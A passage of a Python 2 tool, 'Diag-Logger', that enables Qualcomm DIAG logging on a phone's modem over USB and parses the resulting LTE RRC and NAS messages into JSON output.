0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x1C, 0x25, 0x25, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0xD8, 0x27, 0xE2, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x0B, 0x28, 0x0F, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x3C, 0x28, 0x3C, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x7D, 0x04, 0x6E, 0x28, 0x86, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x60, 0x00 ])] # disable sequence disables_diag_log_cmds = [ bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x61, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x18, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x07, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x92, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x09, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) ,bytearray([ 0x60, 0x00])] # a signal handler to intercept CTRL+C and disable the monitoring mode def signal_handler(sig, frame): for cmd in disables_diag_log_cmds: query = QCDMFrame()/Raw(load=cmd) dev.send(query) response = dev.receive_response() sys.exit(0) def print_uncaught_exception(exception_type, exception, tb): print json.dumps({"timestamp" : time.time() , "type":"exception","message":str(exception)}) sys.excepthook = print_uncaught_exception def print_output(content): try: print json.dumps(content,encoding='latin1') # avoid UTF-8 encoding error sys.stdout.flush() except Exception as exception: print json.dumps({"timestamp" : time.time() , "type":"exception","message":str(exception)}) ## some USB bulk device class from USBFuzz project (https://github.com/ollseg/usb-device-fuzzing) ## Exceptions, USBDevice, BulkDevice class USBException(Exception): def __init__(self, strerror): Exception.__init__(self, strerror) class USBStalled(USBException): def __init__(self, strerror): USBException.__init__(self, strerror) class USBTimeout(USBException): def __init__(self, strerror): USBException.__init__(self, strerror) class USBDevice: ''' A simple USB Device base class. ''' def __init__(self, vid, pid, timeout = 500): ''' @type vid: string @param vid: Vendor ID of device in hex @type pid: string @param pid: Product ID of device in hex @type timeout: number @param timeout: number of msecs to wait for reply ''' self._vid = int(vid,16) self._pid = int(pid,16) self._timeout = int(timeout) if self._timeout < 100: self._timeout = 100 self._device = usb.core.find(idVendor=self._vid, idProduct=self._pid) if self._device == None: raise USBException("Error opening device 0x%x:0x%x!" % (self._vid, self._pid)) try: self._device.set_configuration() except usb.core.USBError as e: if e.errno == 16: # Ignore "Resource Busy" error pass else: raise e FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) def hex_dump(self, src, length=32): N=0 result='' while src: s,src = src[:length],src[length:] hexa = ' '.join(["%02X"%ord(x) for x in s]) s = s.translate(self.FILTER) result += "%04X %-*s %s\n" % (N, length*3, hexa, s) N+=length return result def reset(self): try: self._device.reset() except usb.core.USBError as e: raise USBException('Device could not be reset!') try: res = usb.control.get_status(self._device) except usb.core.USBError as e: raise USBException('Device not responding after reset!') def clear_stall(self, ep): try: usb.control.clear_feature(self._device, usb.control.ENDPOINT_HALT, ep) except usb.core.USBError as e: raise USBStalled('Could\'nt clear stall on ep 0x%0.2x!' % ep.bEndpointAddress) def is_alive(self): try: res = usb.control.get_status(self._device) except usb.core.USBError as e: if e.backend_error_code == -7: # LIBUSB_ERROR_TIMEOUT raise USBException('Device not responding!') elif (e.backend_error_code == -4): # LIBUSB_ERROR_NO_DEVICE raise USBException('Device disconnected!') elif (e.backend_error_code == -3): # LIBUSB_ERROR_ACCESS raise USBException('Device couldn\'t be accessed!') else: raise e if res < 0 or res > 2: return False return True class BulkPipe(USBDevice): ''' A simple interface to a USB Device bulk transfer pipe. ''' def __init__(self, vid, pid, iface = 0, timeout = 500): ''' @type vid: string @param vid: Vendor ID of device in hex @type pid: string @param pid: Product ID of device in hex @type iface: number @param iface: Device Interface to use @type timeout: number @param timeout: number of msecs to wait for reply ''' USBDevice.__init__(self, vid, pid, timeout) self._iface = int(iface) self._epin = None self._epout = None # find bulk endpoints for c in self._device: for i in c: #print("Interface: 0x%x 0x%x/0x%x/0x%x " % (i.bInterfaceNumber, i.bInterfaceClass, i.bInterfaceSubClass, i.bInterfaceProtocol)) if i.bInterfaceNumber == self._iface: for ep in i: #print("Endpoint: 0x%x 0x%x " % (ep.bEndpointAddress, ep.bmAttributes)) if ep.bmAttributes == usb.ENDPOINT_TYPE_BULK: if ep.bEndpointAddress & usb.ENDPOINT_DIR_MASK == usb.ENDPOINT_IN: self._epin = ep else: self._epout = ep if not self._epin or not self._epout: raise USBException("Couldn't find bulk endpoints! (try different interface?)") #print("Using endpoints: 0x%x 0x%x " % (self._epin.bEndpointAddress, self._epout.bEndpointAddress)) # claim interface from kernel try: self._device.detach_kernel_driver(self._iface) except usb.core.USBError as e: if e.errno == 2: # "Entity not found" pass else: raise e def send(self, data): ''' Send data on pipe @type data: string @param data: Data to send ''' retry = 10 while retry > 0: try: self._epout.write(str(data), timeout=self._timeout) retry = 0 #print("Data OUT, %u bytes: " % (len(data))) #print '>>>>>>>>>>>>>>>>>>>>>>>>>>' #print self.hex_dump(data) except usb.core.USBError as e: #print("Data OUT error: %i" % e.backend_error_code) retry -= 1 if e.backend_error_code == -9: # LIBUSB_ERROR_PIPE if retry == 0: if usb.control.get_status(self._device, self._epout) & 1 == 1: raise USBStalled("EP 0x%0.2x stalled" % self._epout.bEndpointAddress) raise USBException("USB Pipe Error when writing on EP 0x%0.2x" % self._epout.bEndpointAddress) self.clear_stall(self._epout) time.sleep(0.001) elif e.backend_error_code == -7: raise USBTimeout("USB timeout when writing on EP 0x%0.2x" % self._epout.bEndpointAddress) else: raise e def receive(self, size = None): if size is None: size = 0x1000 retry = 5 while retry > 0: try: data = self._epin.read(size, timeout=self._timeout) retry = 0 except usb.core.USBError as e: #print("Data IN error: %i" % e.backend_error_code) retry -= 1 if e.backend_error_code == -9: # LIBUSB_ERROR_PIPE if retry == 0: if usb.control.get_status(self._device, self._epin) & 1 == 1: raise USBStalled("EP 0x%0.2x stalled" % self._epin.bEndpointAddress) raise USBException("USB Pipe Error when reading on EP 0x%0.2x" % self._epin.bEndpointAddress) self.clear_stall(self._epin) time.sleep(0.001) elif e.backend_error_code == -7: #raise USBTimeout("USB timeout when reading on EP 0x%0.2x" % self._epin.bEndpointAddress) return "" else: raise e if len(data) == 0: raise USBException("receive() returned no data!") string = ''.join(chr(byte) for byte in data) #print("Data IN, %u bytes: " % (len(data))) #print '<<<<<<<<<<<<<<<<<<<<<<<<<<' #print self.hex_dump(string) return string ## QCDM protocol specifics CRC16_CCITT_TABLE = [ 0x0000, 0x1189, 0x2312, 0x329b, 0x4624, 0x57ad, 0x6536, 0x74bf, 0x8c48, 0x9dc1, 0xaf5a, 0xbed3, 0xca6c, 0xdbe5, 0xe97e, 0xf8f7, 0x1081, 0x0108, 0x3393, 0x221a, 0x56a5, 0x472c, 0x75b7, 0x643e, 0x9cc9, 0x8d40, 0xbfdb, 0xae52, 0xdaed, 0xcb64, 0xf9ff, 0xe876, 0x2102, 0x308b, 0x0210, 0x1399, 0x6726, 0x76af, 0x4434, 0x55bd, 0xad4a, 0xbcc3, 0x8e58, 0x9fd1, 0xeb6e, 0xfae7, 0xc87c, 0xd9f5, 0x3183, 0x200a, 0x1291, 0x0318, 0x77a7, 0x662e, 0x54b5, 0x453c, 0xbdcb, 0xac42, 0x9ed9, 0x8f50, 0xfbef, 0xea66, 0xd8fd, 0xc974, 0x4204, 0x538d, 0x6116, 0x709f, 0x0420, 0x15a9, 0x2732, 0x36bb, 0xce4c, 0xdfc5, 0xed5e, 0xfcd7, 0x8868, 0x99e1, 0xab7a, 0xbaf3, 0x5285, 0x430c, 0x7197, 0x601e, 0x14a1, 0x0528, 0x37b3, 0x263a, 0xdecd, 0xcf44, 0xfddf, 0xec56, 0x98e9, 0x8960, 0xbbfb, 0xaa72, 0x6306, 0x728f, 0x4014, 0x519d, 0x2522, 0x34ab, 0x0630, 0x17b9, 0xef4e, 0xfec7, 0xcc5c, 0xddd5, 0xa96a, 0xb8e3, 0x8a78, 0x9bf1, 0x7387, 0x620e, 0x5095, 0x411c, 0x35a3, 0x242a, 0x16b1, 0x0738, 0xffcf, 0xee46, 0xdcdd, 0xcd54, 0xb9eb, 0xa862, 0x9af9, 0x8b70, 0x8408, 0x9581, 0xa71a, 0xb693, 0xc22c, 0xd3a5, 0xe13e, 0xf0b7, 0x0840, 0x19c9, 0x2b52, 0x3adb, 0x4e64, 0x5fed, 0x6d76, 0x7cff, 0x9489, 0x8500, 0xb79b, 0xa612, 0xd2ad, 0xc324, 0xf1bf, 0xe036, 0x18c1, 0x0948, 0x3bd3, 0x2a5a, 0x5ee5, 0x4f6c, 0x7df7, 0x6c7e, 0xa50a, 0xb483, 0x8618, 0x9791, 0xe32e, 0xf2a7, 0xc03c, 0xd1b5, 0x2942, 0x38cb, 0x0a50, 0x1bd9, 0x6f66, 0x7eef, 0x4c74, 0x5dfd, 0xb58b, 0xa402, 0x9699, 0x8710, 0xf3af, 0xe226, 0xd0bd, 0xc134, 0x39c3, 0x284a, 0x1ad1, 0x0b58, 0x7fe7, 0x6e6e, 0x5cf5, 0x4d7c, 0xc60c, 0xd785, 0xe51e, 0xf497, 0x8028, 0x91a1, 0xa33a, 0xb2b3, 0x4a44, 0x5bcd, 0x6956, 0x78df, 0x0c60, 0x1de9, 0x2f72, 0x3efb, 0xd68d, 0xc704, 0xf59f, 0xe416, 0x90a9, 0x8120, 0xb3bb, 0xa232, 0x5ac5, 0x4b4c, 0x79d7, 0x685e, 0x1ce1, 0x0d68, 0x3ff3, 0x2e7a, 0xe70e, 0xf687, 0xc41c, 0xd595, 0xa12a, 0xb0a3, 0x8238, 0x93b1, 0x6b46, 0x7acf, 0x4854, 0x59dd, 0x2d62, 0x3ceb, 0x0e70, 0x1ff9, 0xf78f, 0xe606, 0xd49d, 0xc514, 0xb1ab, 0xa022, 0x92b9, 0x8330, 0x7bc7, 0x6a4e, 0x58d5, 0x495c, 0x3de3, 0x2c6a, 0x1ef1, 0x0f78 ] def crc16(data): crc = 0xffff for byte in data: crc = (crc >> 8) ^ CRC16_CCITT_TABLE[(crc ^ ord(byte)) & 0xff] return crc ^ 0xffff CommandCodes = { "LOG": 16, # Log packet } class QCDMFrame(Packet): name = "QC DIAG" fields_desc = [ LEShortField("crc", None), XByteField("eof", 0x7E) ] def post_build(self, p, pay): # calculate crc if self.crc is None: self.crc = crc16(pay) # build packet ep = pay + struct.pack("<H", self.crc) # HDLC-type framing ep = ep.replace("\x7d", "\x7d\x5d") ep = ep.replace("\x7e", "\x7d\x5e") ep += struct.pack("B", self.eof) return ep def pre_dissect(self, s): # HDLC-type framing s = s.replace("\x7d\x5d", "\x7d") s = s.replace("\x7d\x5e", "\x7e") # reorder the packet bytes to put contents as "payload" return s[-3:] + s[:-3] class Command(Packet): name = "Command" fields_desc = [ LEShortEnumField("code", 0, CommandCodes) ] bind_layers(QCDMFrame, Command) # taken from diag_input.c (from https://github.com/moiji-mobile/diag-parser), crossed reference with extmsgid.c (from https://github.com/sanjaywave/DiagLibrary) MsgProtocol = { "LTE-OTA-MESSAGE": int("0xb0c0",0), "LTE-MIB-MESSAGE": int("0xb0c1",0), "LTE-SERVING-CELL-INFO": int("0xb0c2",0), "LTE-NAS-OUTGOING-MESSAGE": int("0xb0ed",0), "LTE-NAS-INCOMING-MESSAGE": int("0xb0eb",0), "LTE-NAS-ESM-OUTGOING-MESSAGE": int("0xb0ec",0), "LTE-NAS-ESM-INCOMING-MESSAGE": int("0xb0ea",0), } class DiagCommand(Packet): name = "Diag" fields_desc = [ LEShortField("len",0), LEShortField("inner_len",0), LEShortEnumField("msg_protocol",0,MsgProtocol), XLongField("timestamp",0)] bind_layers(Command,DiagCommand) LTE_Message_Type = { "BCCH-DL-SCH-Message": 0x02, "MCCH-Message" : 0x03, "PCCH-Message": 0x4, "DL-CCCH-Message" : 0x5, "DL-DCCH-Message" : 0x6, "UL-CCCH-Message" : 0x7, "UL-DCCH-Message" : 0x8, "UE-EUTRA-Capability-Message" : 0x9, "System-Information-Block-Type1-Message" : 0xC, } LTE_Message_Type_v9 = { "BCCH-DL-SCH-Message": 9, "MCCH-Message" : 10, "PCCH-Message": 11, "DL-CCCH-Message" : 12, "DL-DCCH-Message" : 13, "UL-CCCH-Message" : 14, "UL-DCCH-Message" : 15, "UE-EUTRA-Capability-Message" : 16, } class LTEOTAMessage(Packet): name = "LTE-OTA" fields_desc = [ ByteField("ota_version",0), ByteField("ota_rrc_release",0), ByteField("ota_rrc_version",0), ByteField("ota_radio_bearer_id",0), LEShortField("ota_pci",0), LEShortField("ota_earfcn",0), ConditionalField(LEShortField("ota_unknown2",0),lambda pkt:pkt.ota_version==9), LEShortField("ota_subframenumber",0), ConditionalField(ByteEnumField("ota_pdu",0,LTE_Message_Type),lambda pkt:pkt.ota_version==7), ConditionalField(ByteEnumField("ota_pdu_v9",0,LTE_Message_Type_v9),lambda pkt:pkt.ota_version==9), LEIntField("ota_unknown",0), LEShortField("ota_encoded_msg_len",0), ] bind_layers(DiagCommand,LTEOTAMessage, msg_protocol=MsgProtocol["LTE-OTA-MESSAGE"]) class LTEMIBMessage(Packet): name = "LTE-MIB" fields_desc = [ ByteField("mib_version",0), LEShortField("mib_pci",0), LEShortField("mib_earfcn",0), ByteField("mib_num_tx_antennas",0), ByteField("dl_bandwidth",0) ] bind_layers(DiagCommand,LTEMIBMessage, msg_protocol=MsgProtocol["LTE-MIB-MESSAGE"]) NAS_Outgoing_Message_Type = { "Detach-Request": 69, "Attach-Accept" : 66, "Attach-Complete" : 67, } class LTENASMessageOutgoing(Packet): name = "LTE-NAS-Outgoing" fields_desc = [ ByteField("log_version",0), ByteField("nas_version",0), ByteField("nas_version_major",0), ByteField("nas_version_minor",0), ] bind_layers(DiagCommand,LTENASMessageOutgoing, msg_protocol=MsgProtocol["LTE-NAS-OUTGOING-MESSAGE"]) class LTENASMessageIncoming(Packet): name = "LTE-NAS-Incoming" fields_desc = [ ByteField("log_version",0), ByteField("nas_version",0), ByteField("nas_version_major",0), ByteField("nas_version_minor",0), ] bind_layers(DiagCommand,LTENASMessageIncoming, msg_protocol=MsgProtocol["LTE-NAS-INCOMING-MESSAGE"]) class LTENASESMMessageOutgoing(Packet): name = "LTE-NAS-ESM-Outgoing" fields_desc = [ ByteField("log_version",0), ByteField("nas_version",0), ByteField("nas_version_major",0), ByteField("nas_version_minor",0), ] bind_layers(DiagCommand,LTENASESMMessageOutgoing, msg_protocol=MsgProtocol["LTE-NAS-ESM-OUTGOING-MESSAGE"]) class LTENASESMMessageIncoming(Packet): name = "LTE-NAS-ESM-Incoming" fields_desc = [ ByteField("log_version",0), ByteField("nas_version",0), ByteField("nas_version_major",0), ByteField("nas_version_minor",0), ] bind_layers(DiagCommand,LTENASESMMessageIncoming, msg_protocol=MsgProtocol["LTE-NAS-ESM-INCOMING-MESSAGE"]) class QCDMDevice(BulkPipe): def __init__(self, vid, pid, iface = 0, timeout = 500): ''' @type vid: string @param vid: Vendor ID of device in hex @type pid: string @param pid: Product ID of device in hex @type iface: number @param iface: Device Interface to use @type timeout: number @param timeout: number of usecs to wait for reply ''' BulkPipe.__init__(self, vid, pid, iface, timeout) def receive_response(self): data = self.receive() while len(data) > 0 and data[-1] != "\x7e": d = self.receive() if len(d) == 0: break data += d if len(data) < 4 or data[-1] != "\x7e": return Raw(data) return QCDMFrame(data) def is_alive(self): if not BulkPipe.is_alive(self): return False self.send(QCDMFrame()/Command(code=0)) res = self.receive_response() if QCDMFrame not in res: print "Device not responding to DIAG commands!" print self.hex_dump(str(res)) return False if ord(str(res.payload)[0]) == 0: return True print "Device responed in an unexpected way!" print self.hex_dump(str(res.payload)) return False ## main program try: GLOBAL.clear() except: pass from pycrate_asn1dir import RRCLTE LTE_PCCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['PCCH-Message'] LTE_BCCH_BCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['BCCH-BCH-Message'] LTE_BCCH_DL_SCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['BCCH-DL-SCH-Message'] LTE_DL_DCCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['DL-DCCH-Message'] LTE_UL_DCCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['UL-DCCH-Message'] LTE_DL_CCCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['DL-CCCH-Message'] LTE_UL_CCCH = GLOBAL.MOD['EUTRA-RRC-Definitions']['UL-CCCH-Message'] from pycrate_mobile import NAS print_output({"timestamp" : time.time() , "type":"debug", "message" : "Diag-Logger, DIAG Protocol Python Logger (c) Yan Grunenberger, 2018"}) try: ## here adapt the vendor and product ID to your device dev = QCDMDevice(vid="1004", pid="61f1", iface=2) # Nexus 5 #dev = QCDMDevice(vid="05c6", pid="903d", iface=0) # Nexus 5x except USBException as e: print "Error : Target USB device not found !" sys.exit(-1) # we add the signal handler here because the device is reachable signal.signal(signal.SIGINT, signal_handler) frame = dev.receive_response() # this will eventually timeout if QCDMFrame not in frame: #print "Device responding to DIAG protocol..." if dev.is_alive(): # Device is responding to diag command, starting the initialization for cmd in enable_diag_log_cmds: query = QCDMFrame()/Raw(load=cmd) dev.send(query) response = dev.receive_response() # we output the raw payload to check the message against an online parser ## http://www.3gpp-message-analyser.com/decoder/eurrc.htm ## or https://www.marben-products.com/decoder-asn1-lte/ def handle_diag_log_message(message,timestamp): result = {"timestamp" : timestamp} result["diag_length"] = message.inner_len result["time"] = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime()) if LTEMIBMessage in message: 